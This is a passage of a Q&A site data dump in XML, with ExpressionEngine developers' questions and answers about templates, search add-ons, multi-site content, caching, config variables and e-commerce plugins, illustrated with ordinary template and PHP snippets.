&amp;lt;div class=&quot;pg-lo-body&quot;&amp;gt;&#xA;            &amp;lt;strong&amp;gt;Forgot password?&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;div class=&quot;pg-sing-lable&quot;&amp;gt;Email Sent.&amp;lt;/div&amp;gt;&#xA;&#xA;           &amp;lt;div class=&quot;po-popup-btns&quot;&amp;gt;&#xA;              &amp;lt;a class=&quot;btn btn-close&quot; id=&quot;close&quot; href=&quot;javascript:void(0);&quot;&amp;gt;OK&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:freemember:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Submit listener:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.btn-reset-password&quot;).live(&quot;click&quot;,function(e){&#xA;        var _form = $(this).closest(&quot;form&quot;);&#xA;        e.preventDefault();&#xA;        if (validateForm(_form)) {&#xA;            $.ajax({&#xA;                url: _form.attr(&quot;action&quot;),&#xA;                data: _form.serialize(),&#xA;                dataType: 'html',&#xA;                type: 'POST',&#xA;                success: function(resp){&#xA;                    console.log(resp);&#xA;                    if ($(resp).find(&quot;input&quot;).length == 0) {&#xA;                        //console.log($(resp).find(&quot;input&quot;));&#xA;                        gotoStep(2);&#xA;                    } else {&#xA;                        $(&quot;.po-popup&quot;).html(resp);&#xA;                    }&#xA;                },&#xA;                error: function(){&#xA;                    console.log(&quot;error submitting&quot;);&#xA;                }&#xA;            });&#xA;        } else {&#xA;            console.log(&quot;error&quot;);&#xA;        }&#xA;    })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6688" LastActivityDate="2015-11-11T17:57:37.847" Title="Expressionengine - Freemember Email - invalid link sent" Tags="|freemember|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34136" PostTypeId="2" ParentId="34133" CreationDate="2015-09-23T17:25:10.833" Score="1" Body="&lt;p&gt;You should not have issues having two separate checkout forms on the same page but personally I would only use a single form and then use some JS to show/hide fields for each particular gateway based upon with a select field or similar. This would be based off the &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#payment_methods&quot; rel=&quot;nofollow&quot;&gt;payment method tag&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on my phone currently so a code example is a bit hard to do properly but if I remember correctly the store example templates in checkout2 has the ability for multiple gateways so you can see the required code. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-09-23T17:25:10.833" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34137" PostTypeId="2" ParentId="34134" CreationDate="2015-09-23T22:27:31.410" Score="0" Body="&lt;p&gt;Things to check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is the content actually in the &lt;code&gt;exp_channel_data&lt;/code&gt; table?&lt;/li&gt;&#xA;&lt;li&gt;is the searchable content actually in the &lt;code&gt;exp_low_search_indexes&lt;/code&gt; table?&lt;/li&gt;&#xA;&lt;li&gt;enable the template debugger and look up the lines that mention Low Search; does that give you any insight?&lt;/li&gt;&#xA;&lt;li&gt;enable the output profiler and look up the query generated by the Keywords filter. What happens if you run that query manually (in Sequel Pro or PhpMyAdmin)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If, for the latter, the query is present, but renders no results, then it could be that there is not enough data in the database in order for the fulltext searches to work properly. I also recommend to only give a high weight to small fields, like titles or text inputs. For fields that contain larger amounts of text, like textareas or Grid fields, setting the weight to 1 should suffice.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-09-23T22:27:31.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34138" PostTypeId="1" CreationDate="2015-09-23T23:18:39.413" Score="0" ViewCount="40" Body="&lt;p&gt;I need a way to handle customizing a variety pack of items.  Each item is already in the inventory, but I need to set it up to where you can pick up to 3 of the different items, but no more than 2 of one certain item.  This &quot;variety pack&quot; will have a set price, even though the other items have different prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best approach?  Is there a way to dynamically generate a bundle or package?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at on the fly and setting the price, but someone could abuse that easily once they got to the cart.&lt;/p&gt;&#xA;" OwnerUserId="6690" LastActivityDate="2016-06-12T10:29:37.463" Title="Multi Add To Cart, or maybe I should try something else?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34139" PostTypeId="1" CreationDate="2015-09-24T06:23:01.320" Score="0" ViewCount="38" Body="&lt;p&gt;in user add on  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;    {categories}&#xA;        {category_body}&#xA;            &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;&#xA;                {category_name}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/category_body}&#xA;    {/categories}&#xA;&amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding category to user is not working. Categories are not displaying in select dropdown.&lt;/p&gt;&#xA;" OwnerUserId="6164" LastEditorUserId="425" LastEditDate="2015-09-24T08:45:18.283" LastActivityDate="2015-09-24T08:45:18.283" Title="Categories is not working" Tags="|categories|solspace-user|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34140" PostTypeId="1" CreationDate="2015-09-24T07:03:01.233" Score="0" ViewCount="44" Body="&lt;p&gt;1&#xA;down vote&#xA;favorite&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Expression engine Multiple site management system I have developed three site using this are :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1)www.exampleone.com&#xA;2)www.exampletwo.com&#xA;3)www.examplthree.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to post data of www.exampleone.com to another two website listed above,everything is ready i am able to post data on theses three website separately but I want to post data of first site to other two. Channels and channel fields of three sites are same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6692" LastActivityDate="2015-09-24T13:19:03.997" Title="How can we post Same content on each site in Expression engine" Tags="|php|codeigniter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34141" PostTypeId="1" AcceptedAnswerId="34150" CreationDate="2015-09-24T08:29:06.120" Score="0" ViewCount="113" Body="&lt;p&gt;Is it ok to use an early parsed variable/snippet with the following inside?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logged_in AND member_group == &quot;1&quot; OR member_group == &quot;2&quot; OR member_group == &quot;3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that i can use the following at the top of my template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {variable}} Content {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works.... I just want to know if its bad practise or comes with any issues etc? If it is a problem, can anyone suggest another way i can lock down my templates but have one place that I can edit the statement if anything changes. This would save me changing it on every template.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-09-24T14:04:22.797" Title="If statement with a variable" Tags="|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34142" PostTypeId="2" ParentId="34140" CreationDate="2015-09-24T08:42:27.613" Score="0" Body="&lt;p&gt;This would be a &lt;strike&gt;good&lt;/strike&gt; perfect use case for Multi Site Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;It sounds like you haven't gone that route though and retrofitting MSM can be a bit of a pain as far as I remember (only done it once).&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using MSM you would need to:&#xA;1. Set up the channel in exampleone&#xA;2. In your channel:entries tags on the other sites add the site's ID to the channel parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;exampleone:news&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wish to mix these entries in with some from the other sites you may want to also read about orderby and multi site manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#channel-entries-orderby&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#channel-entries-orderby&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could perhaps publish an RSS feed of the stories from site exampleone and pull them into the other two sites. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an RSS template on exampleone that uses a standard channel entries tag pair to write out the data in an RSS format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install something like Feed Parser on the other sites and give it the URL of your RSS feed from exampleone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-09-24T13:19:03.997" LastActivityDate="2015-09-24T13:19:03.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34143" PostTypeId="1" CreationDate="2015-09-24T08:51:20.233" Score="0" ViewCount="113" Body="&lt;p&gt;If you embed a template A into template B, using embed variables, and you switch on template caching on template A. Does template A get cached multiple times according to the embed variables? Or is the template cached once, thus losing the ability to deliver content dynamically according to the embed variables?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-06-06T15:58:57.683" Title="Caching embedded templates with variables" Tags="|embeds|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34144" PostTypeId="2" ParentId="34140" CreationDate="2015-09-24T08:56:07.803" Score="1" Body="&lt;p&gt;You mention using MSM, so are you using the &lt;code&gt;site&lt;/code&gt; parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/sites/managesites.html#id1&quot; rel=&quot;nofollow&quot;&gt;Docs here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sites 2 and 3, simply specify &lt;code&gt;site=&quot;websiteA&quot;&lt;/code&gt; in your &lt;code&gt;exp:channel:entries&lt;/code&gt; tag pair to output content from the first site. This avoids duplicating the content in the database across all three sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might want to consider using Canonical meta pointing to the original site to avoid SEO penaulties for &lt;a href=&quot;https://moz.com/learn/seo/duplicate-content&quot; rel=&quot;nofollow&quot;&gt;duplicate content&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-09-24T08:56:07.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34145" PostTypeId="1" CreationDate="2015-09-24T11:22:28.240" Score="0" ViewCount="37" Body="&lt;p&gt;I'm trying to get a Super Search results loop that only displays entries with No Parents...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently pulling out all the results and just showing a label for the entries that don't have a Playa parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;zoo_visitor&quot; status=&quot;Members-id5|Members_Verified_-id6|Members_Pro-id7|open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;50&quot; paginate=&quot;bottom&quot; }&#xA;&#xA;{if channel_name == 'zoo_visitor'}&#xA;&#xA;    {exp:zoo_visitor:details} &#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;&#xA;      &amp;lt;strong&amp;gt;{mbr_formal_title} {member_firstname} {member_lastname} ({entry_id})&amp;lt;/strong&amp;gt; &#xA;&#xA;      {exp:zoo_visitor:details}&#xA;      {exp:playa:parents channel=&quot;parents&quot;} &#xA;&#xA;        {if total_results &amp;gt; 0}&#xA;            {title}&#xA;        {/if}&#xA;&#xA;        {if no_parents}&#xA;            &amp;lt;span class=&quot;tip&quot;&amp;gt;No Parent&amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;&#xA;      {/exp:playa:parents}&#xA;      {/exp:zoo_visitor:details}&#xA;&#xA;    &amp;lt;hr&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {/exp:zoo_visitor:details}&#xA;&#xA;{/if}  &#xA;&#xA;&amp;lt;!-- Pagination Snippet --&amp;gt;&#xA;{_pagination}&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also happy to use default EE entries tag if it's easier / Super Search is causing the problem. Guessing it shouldn't make a difference though?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit (Response to question):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this but it seems to spit out blank entries with parents...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;zoo_visitor&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;50&quot; paginate=&quot;bottom&quot; }&#xA;&#xA;  {exp:zoo_visitor:details}&#xA;  {exp:playa:parents channel=&quot;parents&quot;} &#xA;     {if no_parents}&#xA;      &amp;lt;li&amp;gt; {mbr_formal_title} {member_firstname} {member_lastname ({entry_id})&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;  {/exp:playa:parents}&#xA;  {/exp:zoo_visitor:details}&#xA;&#xA;{_pagination}&#xA;&#xA;{/exp:super_search:results}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3602" LastEditorUserId="3602" LastEditDate="2015-09-24T15:28:26.320" LastActivityDate="2015-09-24T15:28:26.320" Title="Getting list of Zoo Visitor entries with No Playa Parents and Solspace Super Search Result" Tags="|solspace|playa|zoo-visitor|supersearch|zoo|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34146" PostTypeId="2" ParentId="34106" CreationDate="2015-09-24T12:48:09.740" Score="4" Body="&lt;p&gt;could you please &lt;a href=&quot;http://github.com/MaxLazar/mobile_detect&quot; rel=&quot;nofollow&quot;&gt;try update&lt;/a&gt; ? I'm in the process of rethinking this plugin (update core and don't lose functions), but I think the version on GitHub should already follow your needs.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-09-24T12:48:09.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34147" PostTypeId="2" ParentId="34143" CreationDate="2015-09-24T13:49:05.600" Score="0" Body="&lt;p&gt;The way ExpressionEngine works is it parses all the templates used individually first, passing and parsing any relevant variables shared through embeds - but importantly it doesn't parse the actual embed tag during this, only once they're all done. It's at this stage that the individual template is cached. It then goes back through placing in each individual (fully parsed) template into where it needs to be inserted within the parent template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worth having a read of &lt;a href=&quot;http://expressionengine.com/forums/viewthread/154102&quot; rel=&quot;nofollow&quot;&gt;this forum post&lt;/a&gt; - importantly, each cached template is relevant to the URL it's on - so even if you use the same template in your footer throughout your website it won't be rendering one and then using the cached template for the others. As they use different URLs, it will create a cached version of the same template for each different URL used. So the point of caching a template is only to revisit that exact page, not share a template across multiple pages.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-09-24T13:49:05.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34148" PostTypeId="1" AcceptedAnswerId="34151" CreationDate="2015-09-24T13:52:50.997" Score="0" ViewCount="107" Body="&lt;p&gt;I have a user setup as a Super Admin. There is one single channel entry that she cannot edit. Her system locks up when she attempts to edit it. She can edit anything else on the site but this one entry, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what to look at to figure this one out?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-09-24T14:11:20.280" Title="Super Admin can't edit channel content" Tags="|channel-entries|control-panel|super-admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34150" PostTypeId="2" ParentId="34141" CreationDate="2015-09-24T14:04:22.797" Score="1" Body="&lt;p&gt;All a snippet will do is place the content assigned to it before it parses the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your original template will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {variable}} Content {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then once the snippet is parsed it will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in AND member_group == &quot;1&quot; OR member_group == &quot;2&quot; OR member_group == &quot;3&quot;} Content {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it will parse the template properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not bad practise as that was the main purpose of snippets in EE versus variables (which aren't able to be parsed directly, only their value is used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Negatives regarding Snippets are that it's easier for other developers to get lost - naming all your variables and snippets with a prefix helps avoid this so when you see the code used (e.g. {tag}), you know if it's a tag variable {tag}, snippet {snp_tag} or variable {var_tag}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is a technical debt - have a read of &lt;a href=&quot;http://rye.agency/blog/what-we-found-when-optimising-expressionengine&quot; rel=&quot;nofollow&quot;&gt;this acticle&lt;/a&gt; that explains it extremely well.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-09-24T14:04:22.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34151" PostTypeId="2" ParentId="34148" CreationDate="2015-09-24T14:11:20.280" Score="0" Body="&lt;p&gt;If by lock up, you mean WSOD (white screen of death), the issue is usually a database write error. If you can open that channel entry, do it. Usually, it's a WYGWAM field. If you have one in their, click on the &lt;code&gt;source&lt;/code&gt; button, and copy and paste the WYGWAM source to a notepad. Then, empty that field, and save the entry. Then, reopen it, click &lt;code&gt;source&lt;/code&gt;, and paste the source back in and save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rinse and repeat for each field in the entry.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-24T14:11:20.280" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="34152" PostTypeId="2" ParentId="34103" CreationDate="2015-09-24T16:12:48.847" Score="0" Body="&lt;p&gt;Since the USPS/UPS/FedEx shipping gateways do not actually request an actual shipping label you would not be able to generate a shipping label for actually shipping the order. (think with the rate already billed to your UPS account and things like tracking enabled)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is fairly easy however to use the Store &lt;a href=&quot;https://www.exp-resso.com/docs/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;order tags&lt;/a&gt; along with a special template and stylesheets to create packing slips, box labels and any other thing that you might want/need for your store admins to help with order processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I for example have built out front end admin templates for customers that allows me to export and print a batch of pull sheets, packing slips and basic shipping labels for new orders. I am also able to use the exported data to import it into their shipping management software.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-09-26T12:17:04.097" LastActivityDate="2015-09-26T12:17:04.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34153" PostTypeId="1" AcceptedAnswerId="34162" CreationDate="2015-09-24T17:00:18.260" Score="0" ViewCount="20" Body="&lt;p&gt;In the search results, is there a way to show which custom field a search term was found in?&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2015-09-25T07:33:25.457" Title="Show which field the term was found in?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34154" PostTypeId="1" AcceptedAnswerId="34175" CreationDate="2015-09-24T17:02:08.753" Score="0" ViewCount="22" Body="&lt;p&gt;I am using EE 2.10.1 and Campaigns 2.1.0a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automatically pull images from the entry being posted to FB, twitter, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I am using a Channel Images field in the entry, can I specify it to pull from that field? &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2015-09-25T20:41:36.133" Title="Is there a way to automatically use images from entries with Campaigns?" Tags="|devdemon|social|devdemon-campaigns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34155" PostTypeId="2" ParentId="14859" CreationDate="2015-09-24T17:02:25.017" Score="0" Body="&lt;p&gt;If you are using the Store Product Form most likely you would need to escape the form for security reasons. Otherwise you will get a security issue with the form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will work on removing this in v3.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-09-24T17:02:25.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34156" PostTypeId="1" AcceptedAnswerId="34163" CreationDate="2015-09-24T18:07:39.477" Score="0" ViewCount="72" Body="&lt;p&gt;I have two channels: &lt;strong&gt;blog&lt;/strong&gt; and &lt;strong&gt;recipes&lt;/strong&gt;. Blog posts are about recipes, so one of the fields in the blog channel is a relationship field connected to the recipes channel. Each blog entry has a related recipe entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to let visitors search for terms in the &lt;strong&gt;body&lt;/strong&gt; field of the blog channel as well as in the &lt;strong&gt;ingredients&lt;/strong&gt; field of the recipes channel, but only show the related entry (the recipe) in the search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say there's a blog post about pizza, connected to a related recipe for pizza. Within the &lt;strong&gt;body&lt;/strong&gt; field of the blog entry, the author has typed &quot;my kids love this.&quot; Within the &lt;strong&gt;ingredients&lt;/strong&gt; field of the recipe entry, the author has typed  &quot;mozzarella&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the pizza recipe entry to show in the results if the user searches for &quot;mozzarella&quot; and also if the user searches for &quot;my kids love this&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the logic I need is something like, &quot;if a result is found in the Recipes channel, then display that entry. If the result is found in the &lt;em&gt;Blog&lt;/em&gt; channel, then display that entry's related Recipes channel entry.&quot;&lt;/p&gt;&#xA;" OwnerUserId="332" LastEditorUserId="332" LastEditDate="2015-09-24T19:53:56.467" LastActivityDate="2015-09-25T07:52:49.743" Title="How to search fields in two related channels, but only show results from one?" Tags="|relationships|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34157" PostTypeId="2" ParentId="34138" CreationDate="2015-09-24T19:26:34.383" Score="0" Body="&lt;p&gt;(I'm with Vector Media Group; we make CartThrob.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How comfortable are you with PHP? You could do this pretty easily with a custom extension that runs when an item is added to the cart and during checkout. This would enforce the quantity constraints and set the custom price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to approach this is that the person isn't adding those products to the cart at all, but instead is just adding your bundle/package item and then choosing the items as options, so their price wouldn't matter. Again you could use some custom logic to enforce the quantity constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;Let us know if you want any other help with this&lt;/a&gt;!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-09-24T19:26:34.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34158" PostTypeId="2" ParentId="7042" CreationDate="2015-09-24T20:50:44.243" Score="0" Body="&lt;p&gt;We use an integration with CircleCi for our EE deployments. Currently, it runs our custom build tool called Norma to compile assets (html, sass, coffeescript, and templates) and auto deploys to our alpha, beta, and production servers if a build passes. CircleCI has been working very well for our process and we also use it for our NodeJS testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've written some initial end to end tests using &lt;a href=&quot;https://www.npmjs.com/package/mocha-casperjs&quot; rel=&quot;nofollow&quot;&gt;mocha-casperjs&lt;/a&gt; to check things like following a workflow to sign into a page and similar things like that, but we don't have any tests for addons yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of things that would make this better, but so far it's working for us!&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2015-09-24T20:50:44.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34160" PostTypeId="1" AcceptedAnswerId="34161" CreationDate="2015-09-24T21:45:28.080" Score="2" ViewCount="544" Body="&lt;p&gt;Is there a place in EE to store custom config variables and access them in the templates? I need to be able to use these variables in conditionals as well as output them. Furthermore, I need to have different sets of config values depending on which domain EE is on (e.g. if site_url = 'foo.com' ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm using globals, but it's not really ideal.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-09-25T09:06:08.257" Title="Use config variables in templates?" Tags="|templates|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34161" PostTypeId="2" ParentId="34160" CreationDate="2015-09-25T04:29:19.453" Score="3" Body="&lt;p&gt;If by config variables, you mean the ones on &lt;code&gt;config.php&lt;/code&gt;, it's pretty easy to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your &lt;code&gt;config.php&lt;/code&gt; add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;if(!isset($assign_to_config['global_vars']))&#xA;$assign_to_config['global_vars'] = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, you can create early parsed template variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you set the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#mail-protocol&quot; rel=&quot;nofollow&quot;&gt;mail protocol used by a System Config Override&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol'] = 'sendmail';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to access this info on templates, you need to create a template variable: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol'] =&#xA;$assign_to_config['global_vars']['cv-mail_protocol'] = 'sendmail';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On templates, you can use &lt;code&gt;{cv-mail_protocol}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cv-mail_protocol == 'sendmail'}&#xA;  The emails are being send by SendMail&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use a PHP conditional too to set them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['HTTP_HOST'] == 'www.domain.com')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These variables are parsed even before &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;Preload Text Replacements&lt;/a&gt;, which gives you a lot of flexibility.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cv-language == &quot;en&quot;}&#xA;    {preload_replace:pr-name_label=&quot;Name&quot;}&#xA;    {preload_replace:pr-tel_label=&quot;Phone number&quot;}&#xA;[...]&#xA;{/if}&#xA;&#xA;&amp;lt;label for=&quot;name&quot;&amp;gt;{pr-name_label}&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;required[]&quot; size=&quot;50&quot; /&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-09-25T04:29:19.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34162" PostTypeId="2" ParentId="34153" CreationDate="2015-09-25T07:33:25.457" Score="0" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search index is a big text field per entry, containing all searchable fields. This is what makes the keyword searches fast. However, that also means there is no info as to what specific field contained the keywords. It's totally possible that, for keywords that contain more than one word, the terms are found in multiple fields.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-09-25T07:33:25.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
